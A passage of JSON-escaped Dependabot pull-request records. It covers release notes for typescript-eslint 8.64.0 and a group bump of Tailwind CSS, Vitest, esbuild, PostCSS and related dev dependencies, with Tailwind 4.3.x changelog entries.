href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12500\"\u003e#12500\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etypescript-estree:\u003c/strong\u003e throw for invalid definite assignment in class properties (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12543\"\u003e#12543\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [require-array-sort-compare] handle constrained arrays (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12512\"\u003e#12512\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvyatar Daud \u003ca href=\"https://github.com/StyleShit\"\u003e\u003ccode\u003e@​StyleShit\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e송재욱\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.64.0\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/blob/main/packages/typescript-eslint/CHANGELOG.md\"\u003etypescript-eslint's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.64.0 (2026-07-13)\u003c/h2\u003e\n\u003cp\u003eThis was a version bump only for typescript-eslint to align it with other projects, there were no code changes.\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.64.0\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/414d9abbf66f77796ab12ec7e75b07722e592832\"\u003e\u003ccode\u003e414d9ab\u003c/code\u003e\u003c/a\u003e chore(release): publish 8.64.0\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commits/v8.64.0/packages/typescript-eslint\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\n\n\n\u003c/details\u003e","html_url":"https://github.com/mbifulco/blog/pull/1287","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/mbifulco%2Fblog/issues/1287","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/1287/packages"},{"uuid":"4882622540","node_id":"PR_kwDOSLwOTM7xhRl5","number":912,"state":"open","title":"build(deps-dev): bump the dev-dependencies group across 1 directory with 9 updates","user":"dependabot[bot]","labels":[],"assignees":[],"locked":false,"comments_count":2,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-07-14T11:31:53.000Z","updated_at":"2026-07-14T11:35:39.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"build(deps-dev): bump","group_name":"dev-dependencies","update_count":9,"packages":[{"name":"@tailwindcss/postcss","old_version":"4.3.0","new_version":"4.3.2","repository_url":"https://github.com/tailwindlabs/tailwindcss"},{"name":"@vitejs/plugin-react","old_version":"6.0.2","new_version":"6.0.3","repository_url":"https://github.com/vitejs/vite-plugin-react"},{"name":"@vitest/browser-playwright","old_version":"4.1.8","new_version":"4.1.10","repository_url":"https://github.com/vitest-dev/vitest"},{"name":"@vitest/coverage-v8","old_version":"4.1.8","new_version":"4.1.10","repository_url":"https://github.com/vitest-dev/vitest"},{"name":"esbuild","old_version":"0.28.0","new_version":"0.28.1","repository_url":"https://github.com/evanw/esbuild"},{"name":"postcss","old_version":"8.5.15","new_version":"8.5.19","repository_url":"https://github.com/postcss/postcss"},{"name":"postcss-selector-parser","old_version":"7.1.1","new_version":"7.1.4","repository_url":"https://github.com/postcss/postcss-selector-parser"},{"name":"vitest","old_version":"4.1.8","new_version":"4.1.10","repository_url":"https://github.com/vitest-dev/vitest"},{"name":"autoprefixer","old_version":"10.5.0","new_version":"10.5.2","repository_url":"https://github.com/postcss/autoprefixer"}],"path":null,"ecosystem":"npm"},"body":"Bumps the dev-dependencies group with 9 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [@tailwindcss/postcss](https://github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/@tailwindcss-postcss) | `4.3.0` | `4.3.2` |\n| [@vitejs/plugin-react](https://github.com/vitejs/vite-plugin-react/tree/HEAD/packages/plugin-react) | `6.0.2` | `6.0.3` |\n| [@vitest/browser-playwright](https://github.com/vitest-dev/vitest/tree/HEAD/packages/browser-playwright) | `4.1.8` | `4.1.10` |\n| [@vitest/coverage-v8](https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8) | `4.1.8` | `4.1.10` |\n| [esbuild](https://github.com/evanw/esbuild) | `0.28.0` | `0.28.1` |\n| [postcss](https://github.com/postcss/postcss) | `8.5.15` | `8.5.19` |\n| [postcss-selector-parser](https://github.com/postcss/postcss-selector-parser) | `7.1.1` | `7.1.4` |\n| [vitest](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest) | `4.1.8` | `4.1.10` |\n| [autoprefixer](https://github.com/postcss/autoprefixer) | `10.5.0` | `10.5.2` |\n\n\nUpdates `@tailwindcss/postcss` from 4.3.0 to 4.3.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/tailwindlabs/tailwindcss/releases\"\u003e@​tailwindcss/postcss's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev4.3.2\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSupport bare spacing values for \u003ccode\u003eauto-rows-*\u003c/code\u003e and \u003ccode\u003eauto-cols-*\u003c/code\u003e utilities (e.g. \u003ccode\u003eauto-rows-12\u003c/code\u003e and \u003ccode\u003eauto-cols-16\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20229\"\u003e#20229\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent \u003ccode\u003e@tailwindcss/cli\u003c/code\u003e in \u003ccode\u003e--watch\u003c/code\u003e mode from crashing on Windows when \u003ccode\u003e@source\u003c/code\u003e points to a directory that doesn't exist (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20242\"\u003e#20242\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent \u003ccode\u003e@tailwindcss/vite\u003c/code\u003e from crashing in Deno v2.8.x when \u003ccode\u003econtext.parentURL\u003c/code\u003e is not a valid URL (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20245\"\u003e#20245\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003e@tailwindcss/cli\u003c/code\u003e in \u003ccode\u003e--watch\u003c/code\u003e mode rebuilds when the input CSS file changes in an ignored directory (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20246\"\u003e#20246\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAllow \u003ccode\u003e@variant\u003c/code\u003e rules used in \u003ccode\u003eaddBase(…)\u003c/code\u003e to use custom variants defined later (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20247\"\u003e#20247\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent \u003ccode\u003e@tailwindcss/vite\u003c/code\u003e from crashing during HMR when scanned files or directories are deleted (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20259\"\u003e#20259\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eGenerate \u003ccode\u003efont-size\u003c/code\u003e instead of \u003ccode\u003ecolor\u003c/code\u003e declarations for \u003ccode\u003etext-[--spacing(…)]\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20260\"\u003e#20260\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent \u003ccode\u003e@source\u003c/code\u003e patterns from scanning unrelated sibling files and folders (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20263\"\u003e#20263\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eExtract class candidates adjacent to Template Toolkit delimiters like \u003ccode\u003e%]…[%\u003c/code\u003e in \u003ccode\u003e.tt\u003c/code\u003e, \u003ccode\u003e.tt2\u003c/code\u003e, and \u003ccode\u003e.tx\u003c/code\u003e files (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20269\"\u003e#20269\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eExtract class candidates from conditional Maud syntax like \u003ccode\u003ep.text-black[condition]\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20269\"\u003e#20269\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent \u003ccode\u003e@position-try\u003c/code\u003e rules from triggering unknown at-rule warnings when optimizing CSS (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20277\"\u003e#20277\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSupport class suggestions for named opacity modifiers from \u003ccode\u003e--opacity\u003c/code\u003e theme values (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20287\"\u003e#20287\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent type errors in \u003ccode\u003e@tailwindcss/postcss\u003c/code\u003e when used with newer PostCSS patch releases (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20289\"\u003e#20289\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev4.3.1\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd \u003ccode\u003e--silent\u003c/code\u003e option to suppress output in \u003ccode\u003e@tailwindcss/cli\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20100\"\u003e#20100\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eRemove deprecation warnings by using \u003ccode\u003eModule#registerHooks\u003c/code\u003e instead of \u003ccode\u003eModule#register\u003c/code\u003e on Node 26+ (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20028\"\u003e#20028\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCanonicalization: don't crash when plugin utilities throw for unsupported values (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20052\"\u003e#20052\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAllow \u003ccode\u003e@apply\u003c/code\u003e to be used with CSS mixins (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/19427\"\u003e#19427\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003enot-*\u003c/code\u003e correctly negates \u003ccode\u003e@container\u003c/code\u003e queries, including \u003ccode\u003estyle(…)\u003c/code\u003e queries (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20059\"\u003e#20059\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003edrop-shadow-*\u003c/code\u003e color utilities work with custom shadow values containing \u003ccode\u003ecalc(…)\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20080\"\u003e#20080\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix 'Sourcemap is likely to be incorrect' warnings when using \u003ccode\u003e@tailwindcss/vite\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20103\"\u003e#20103\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003e@tailwindcss/webpack\u003c/code\u003e can be installed in Rspack projects without requiring \u003ccode\u003ewebpack\u003c/code\u003e as a peer dependency (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20027\"\u003e#20027\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCanonicalization: don't suggest invalid \u003ccode\u003ecalc(…)\u003c/code\u003e expressions (e.g. \u003ccode\u003epx-[calc(1rem+0px)]\u003c/code\u003e → \u003ccode\u003epx-[calc(1rem+0)]\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20127\"\u003e#20127\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCanonicalization: avoid suggesting large spacing-scale values for arbitrary lengths (e.g. \u003ccode\u003eleft-[99999px]\u003c/code\u003e → \u003ccode\u003eleft-[99999px]\u003c/code\u003e, not \u003ccode\u003eleft-24999.75\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20130\"\u003e#20130\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003e@tailwindcss/cli\u003c/code\u003e in \u003ccode\u003e--watch\u003c/code\u003e mode recovers when a tracked dependency is deleted and restored (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20137\"\u003e#20137\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure standalone \u003ccode\u003e@tailwindcss/cli\u003c/code\u003e binaries are ignored when scanning for class candidates (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20139\"\u003e#20139\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure class candidates are extracted from Twig \u003ccode\u003eaddClass(…)\u003c/code\u003e and \u003ccode\u003eremoveClass(…)\u003c/code\u003e calls (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20198\"\u003e#20198\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eDon't crash in the Ruby or Vue preprocessors when scanning files containing invalid UTF-8 bytes (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/19588\"\u003e#19588\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAllow \u003ccode\u003e@variant\u003c/code\u003e to be used inside \u003ccode\u003eaddBase\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/19480\"\u003e#19480\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003e@source\u003c/code\u003e globs with symlinks are preserved (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20203\"\u003e#20203\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure later \u003ccode\u003e@source\u003c/code\u003e rules can re-include files excluded by earlier \u003ccode\u003e@source not\u003c/code\u003e rules (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20203\"\u003e#20203\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpgrade: don't migrate empty class rules to invalid \u003ccode\u003e@utility\u003c/code\u003e rules (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20205\"\u003e#20205\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure transitions between \u003ccode\u003einset-shadow-none\u003c/code\u003e and other inset shadows work correctly (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20208\"\u003e#20208\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure explicitly referenced \u003ccode\u003e@source\u003c/code\u003e directories are scanned even when ignored by git (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20214\"\u003e#20214\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003e@source\u003c/code\u003e globs ending in \u003ccode\u003e**/*\u003c/code\u003e preserve dynamic path segments to avoid scanning too many files (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20217\"\u003e#20217\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCanonicalization: don't fold \u003ccode\u003ecalc(…)\u003c/code\u003e divisions when the result would require high precision (e.g. \u003ccode\u003ew-[calc(100%/3.5)]\u003c/code\u003e → \u003ccode\u003ew-[calc(100%/3.5)]\u003c/code\u003e, not \u003ccode\u003ew-[28.571428571428573%]\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20221\"\u003e#20221\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eServe ESM type declarations to ESM importers of \u003ccode\u003e@tailwindcss/postcss\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20228\"\u003e#20228\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eGenerate \u003ccode\u003e0\u003c/code\u003e instead of \u003ccode\u003ecalc(var(--spacing) * 0)\u003c/code\u003e for spacing utilities like \u003ccode\u003em-0\u003c/code\u003e and \u003ccode\u003eleft-0\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20196\"\u003e#20196\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/tailwindlabs/tailwindcss/blob/main/CHANGELOG.md\"\u003e@​tailwindcss/postcss's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[4.3.2] - 2026-06-26\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSupport bare spacing values for \u003ccode\u003eauto-rows-*\u003c/code\u003e and \u003ccode\u003eauto-cols-*\u003c/code\u003e utilities (e.g. \u003ccode\u003eauto-rows-12\u003c/code\u003e and \u003ccode\u003eauto-cols-16\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20229\"\u003e#20229\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent \u003ccode\u003e@tailwindcss/cli\u003c/code\u003e in \u003ccode\u003e--watch\u003c/code\u003e mode from crashing on Windows when \u003ccode\u003e@source\u003c/code\u003e points to a directory that doesn't exist (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20242\"\u003e#20242\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent \u003ccode\u003e@tailwindcss/vite\u003c/code\u003e from crashing in Deno v2.8.x when \u003ccode\u003econtext.parentURL\u003c/code\u003e is not a valid URL (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20245\"\u003e#20245\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003e@tailwindcss/cli\u003c/code\u003e in \u003ccode\u003e--watch\u003c/code\u003e mode rebuilds when the input CSS file changes in an ignored directory (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20246\"\u003e#20246\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAllow \u003ccode\u003e@variant\u003c/code\u003e rules used in \u003ccode\u003eaddBase(…)\u003c/code\u003e to use custom variants defined later (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20247\"\u003e#20247\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent \u003ccode\u003e@tailwindcss/vite\u003c/code\u003e from crashing during HMR when scanned files or directories are deleted (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20259\"\u003e#20259\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eGenerate \u003ccode\u003efont-size\u003c/code\u003e instead of \u003ccode\u003ecolor\u003c/code\u003e declarations for \u003ccode\u003etext-[--spacing(…)]\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20260\"\u003e#20260\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent \u003ccode\u003e@source\u003c/code\u003e patterns from scanning unrelated sibling files and folders (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20263\"\u003e#20263\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eExtract class candidates adjacent to Template Toolkit delimiters like \u003ccode\u003e%]…[%\u003c/code\u003e in \u003ccode\u003e.tt\u003c/code\u003e, \u003ccode\u003e.tt2\u003c/code\u003e, and \u003ccode\u003e.tx\u003c/code\u003e files (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20269\"\u003e#20269\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eExtract class candidates from conditional Maud syntax like \u003ccode\u003ep.text-black[condition]\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20269\"\u003e#20269\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent \u003ccode\u003e@position-try\u003c/code\u003e rules from triggering unknown at-rule warnings when optimizing CSS (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20277\"\u003e#20277\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSupport class suggestions for named opacity modifiers from \u003ccode\u003e--opacity\u003c/code\u003e theme values (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20287\"\u003e#20287\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent type errors in \u003ccode\u003e@tailwindcss/postcss\u003c/code\u003e when used with newer PostCSS patch releases (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20289\"\u003e#20289\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[4.3.1] - 2026-06-12\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd \u003ccode\u003e--silent\u003c/code\u003e option to suppress output in \u003ccode\u003e@tailwindcss/cli\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20100\"\u003e#20100\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eRemove deprecation warnings by using \u003ccode\u003eModule#registerHooks\u003c/code\u003e instead of \u003ccode\u003eModule#register\u003c/code\u003e on Node 26+ (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20028\"\u003e#20028\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCanonicalization: don't crash when plugin utilities throw for unsupported values (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20052\"\u003e#20052\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAllow \u003ccode\u003e@apply\u003c/code\u003e to be used with CSS mixins (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/19427\"\u003e#19427\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003enot-*\u003c/code\u003e correctly negates \u003ccode\u003e@container\u003c/code\u003e queries, including \u003ccode\u003estyle(…)\u003c/code\u003e queries (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20059\"\u003e#20059\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003edrop-shadow-*\u003c/code\u003e color utilities work with custom shadow values containing \u003ccode\u003ecalc(…)\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20080\"\u003e#20080\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix 'Sourcemap is likely to be incorrect' warnings when using \u003ccode\u003e@tailwindcss/vite\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20103\"\u003e#20103\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003e@tailwindcss/webpack\u003c/code\u003e can be installed in Rspack projects without requiring \u003ccode\u003ewebpack\u003c/code\u003e as a peer dependency (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20027\"\u003e#20027\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCanonicalization: don't suggest invalid \u003ccode\u003ecalc(…)\u003c/code\u003e expressions (e.g. \u003ccode\u003epx-[calc(1rem+0px)]\u003c/code\u003e → \u003ccode\u003epx-[calc(1rem+0)]\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20127\"\u003e#20127\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCanonicalization: avoid suggesting large spacing-scale values for arbitrary lengths (e.g. \u003ccode\u003eleft-[99999px]\u003c/code\u003e → \u003ccode\u003eleft-[99999px]\u003c/code\u003e, not \u003ccode\u003eleft-24999.75\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20130\"\u003e#20130\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003e@tailwindcss/cli\u003c/code\u003e in \u003ccode\u003e--watch\u003c/code\u003e mode recovers when a tracked dependency is deleted and restored (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20137\"\u003e#20137\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure standalone \u003ccode\u003e@tailwindcss/cli\u003c/code\u003e binaries are ignored when scanning for class candidates (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20139\"\u003e#20139\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure class candidates are extracted from Twig \u003ccode\u003eaddClass(…)\u003c/code\u003e and \u003ccode\u003eremoveClass(…)\u003c/code\u003e calls (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20198\"\u003e#20198\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eDon't crash in the Ruby or Vue preprocessors when scanning files containing invalid UTF-8 bytes (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/19588\"\u003e#19588\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAllow \u003ccode\u003e@variant\u003c/code\u003e to be used inside \u003ccode\u003eaddBase\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/19480\"\u003e#19480\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003e@source\u003c/code\u003e globs with symlinks are preserved (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20203\"\u003e#20203\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure later \u003ccode\u003e@source\u003c/code\u003e rules can re-include files excluded by earlier \u003ccode\u003e@source not\u003c/code\u003e rules (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20203\"\u003e#20203\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpgrade: don't migrate empty class rules to invalid \u003ccode\u003e@utility\u003c/code\u003e rules (\u003ca 